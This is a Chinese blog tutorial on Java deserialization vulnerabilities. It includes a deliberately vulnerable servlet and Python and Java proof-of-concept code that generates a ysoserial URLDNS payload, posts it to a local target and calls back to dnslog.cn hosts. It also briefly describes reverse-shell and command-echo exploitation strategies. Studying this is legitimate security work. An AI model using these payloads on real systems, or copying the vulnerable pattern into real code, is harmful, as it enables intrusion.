• 浅析Java反序列化漏洞议题


    浅析Java反序列化漏洞议题

    一次部门、团队内部分享议题,拿出来分享一下

    反序列化漏洞历史

    2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

    然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。

    确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。

    虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。

    序列化与反序列化机制

    序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

    Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的readObject()方法用于反序列化。

    序列化的前提是要序列化的对象必须实现Java.io.Serializable接口。

    代码实例:

    编写一个学生类:

    package com.company;
    
    import java.io.Serializable;
    
    public class Person implements Serializable {
        private int age;
        private String name;
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public Person() {
        }
    
        public Person(int age, String name) {
            this.age = age;
            this.name = name;
        }
    }
    
    

    序列化代码:

    package com.company;
    
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    
    public class Main {
    
        public static void main(String[] args) throws IOException {
            Person xiaoming = new Person(18, "xiaoming");
            ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));
    
            oss.writeObject(xiaoming);
        }
    }
    

    反序列化代码:

        public static void main(String[] args) throws IOException, ClassNotFoundException {
    
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
            Person person = (Person)ois.readObject();
            String name = person.getName();
            System.out.println(name);
    
    
        }
    }
    

    反序列化漏洞分析

    在前面抛出的一个问题里面,反序列化明明是一个Java当中再正常不过的机制,为什么会产生反序列化漏洞呢?其实是因为在一些类中,会重写readobjetc方法。导致了反序列化的时候,调用的时候重写后的readobjetc方法调用了其他的一些方法,所以可能就会导致反序列化漏洞的产生。但是他并不是直接就能够去执行命令,而是需要通过一条构造好的恶意类,方法中的互相调用直到调用到Runtime这个方法才能去进行命令执行。在反序列化这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

    漏洞Demo

    import sun.misc.BASE64Decoder;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.ByteArrayInputStream;
    import java.io.IOException;
    import java.io.ObjectInputStream;
    
    
    @WebServlet("/demoServlet")
    public class demoServlet extends HttpServlet {
        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            String cookie = request.getParameter("cookie");
            byte[] bytes = new BASE64Decoder().decodeBuffer(cookie);
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            try {
                Object o = objectInputStream.readObject();
                System.out.println(o);
            } catch (ClassNotFoundException e) {
    
    
            }
        }
    
        protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
        }
    }
    
    

    POC编写思路

    在shiroscan里面其实用到的也是URLDNS链,在编写POC的时候,可以借助ysoserial工具辅助来进行编写POC。其实网上很多的poc都是借助ysoserial来进行生成payload的。

    ysoserial地址:ysoserial

    ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload;

    poc代码:

    # -*-* coding:utf-8
    # @Time    :  2020/10/16 17:36
    # @Author  : nice0e3
    # @FileName: poc.py
    # @Software: PyCharm
    # @Blog    :https://www.cnblogs.com/nice0e3/
    import subprocess
    import requests
    
    def res_data(dnslog_url):
        popen = subprocess.Popen(['java', '-jar', "ysoserial.jar", 'URLDNS', dnslog_url],shell=True,
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE,
                                 stdin=subprocess.PIPE)
    
        payload = (popen.stdout.read())
        # print(payload)
        return payload
    
    
    def send(Address_ip,yso_data):
    
            res = requests.post(url=Address_ip, data=yso_data)
            if res.status_code == 200:
                print("The request was successful.")
                print("res.status_code")
            else:
                print("error")
                print(res.status_code)
    
    
    def help():
        print("command: python poc.py dnslog.cn Address_ip ")
    
    
    def main():
        dnslog_url = "http://sizyq6.dnslog.cn"
        url = 'http://localhost:8080/yt_war_exploded/readServlet'
        payload_data = res_data(dnslog_url)
        # print(payload_data)
        send(url, payload_data)
    
    
    if __name__ == '__main__':
        main()
    
    

    这里只是作为一个模板演示,代码漏洞点是通过BASE64后加密的。

    Java POC 代码:

    package com.nice0e3;
    
    import sun.misc.BASE64Encoder;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.MalformedURLException;
    import java.net.URISyntaxException;
    
    public class POC {
        public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException, URISyntaxException {
            String dns_url = "http://ud4zkj.dnslog.cn";
            String target_url = "http://localhost:8088/web_war_exploded/demoServlet";
            Object o = Generated.Get_URLDNS(dns_url);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(o);
            byte[] bytes = byteArrayOutputStream.toByteArray();
            String encode = new BASE64Encoder().encode(bytes);
            int Status = Requeses.Get(target_url,encode);
            System.out.println(Status);
        }
    }
    
    
    

    Generated代码:

    
    package com.nice0e3;
    
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.util.HashMap;
    
    public class Generated {
    
        public static Object Get_URLDNS(String dns_url) throws ClassNotFoundException, NoSuchFieldException, MalformedURLException, IllegalAccessException {
            HashMap<URL, String> hashMap = new HashMap<URL, String>();
            URL url = new URL(dns_url);
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true);
            f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
            hashMap.put(url, "url");
            f.set(url, -1);
            return  hashMap;
        }
    }
    
    
    

    Requeses 代码:

    
    package com.nice0e3;
    import org.apache.http.client.methods.CloseableHttpResponse;
    import org.apache.http.client.methods.HttpGet;
    import org.apache.http.client.utils.URIBuilder;
    import org.apache.http.impl.client.CloseableHttpClient;
    import org.apache.http.impl.client.HttpClients;
    
    import java.io.IOException;
    import java.net.URISyntaxException;
    
    public class Requeses {
        public static int  Get(String target_url,String payload) throws URISyntaxException, IOException {
            CloseableHttpClient client = HttpClients.createDefault();
            URIBuilder uriBuilder = new URIBuilder(target_url);
            uriBuilder.setParameter("cookie",payload);
            HttpGet httpGet = new HttpGet(uriBuilder.build());
            CloseableHttpResponse response = client.execute(httpGet);
            int statusCode = response.getStatusLine().getStatusCode();
    
            return statusCode;
    
    
    
        }
    }
    
    

    这里是一段POC漏洞验证代码,使用了URLDNS链来触发url请求,验证反序列化漏洞的存在,在shiro的工具里面其实用的一个链也是URLDNS链,该链不依赖于第三方库。但是利用场景只是在一个能出网的环境下,才能去利用。在实战情况下大致就分为两种,一个是能直接出网的机器,一个是不能出网的机器。在能出网的情况下的利用方式就可以使用dnslog去验证漏洞,然后执行命令的时候也可以直接的去执行反弹shell的命令。拿到反弹的shell后再在CS上去执行命令。那么还有种就是不出网的机器,像这种情况只能去进行直接的构造命令执行的回显。

    Exp编写要点

    想要编写一个完整的exp工具例如,在一般情况下哪条利用链比较通用的。因为在CC1和CC3利用链中使用的是

    AnnotationInvocationHandler这个类去构造利用链,这个类在高版本中对readobject方法进行了修改,导致没法利用。还有的就是需要去解决一下回显的问题,如果机器没法出网,那么这时候去构造命令执行回显,将执行命令的内容返还给我们。在研究weblogic、fastjson、shiro这些反序列化漏洞时,会遇到比较多的关于回显的问题。回显的方式有defineClass类加载器回显、URLClassLoader异常回显、tomcat中间件回显、远程加载回显等等方式。当然工具的话肯定是gui的工具用着顺手,要开发gui的就需要学习gui的开发框架。其实gui的和命令行的工具开发起来都差不多,无非就是多写一个输入框输入内容,然后在代码里面去获取一些内容,然后在进行执行。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    301重定向的代码
    小问题,小细节要注意(string类型转换为bool类型)
    关于添加网站适配的问题解决
    this.Page.Request.ServerVariables
    将一个字段的两个数据分开读取
    使用distinct出现的一个问题
    什么是集合是只读的?
    编辑完这一条数据如何继续转入下一条数据(快速编辑)
    系统信息相关命令
    用户权限相关命令
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13912525.html
Copyright © 2020-2023  润新知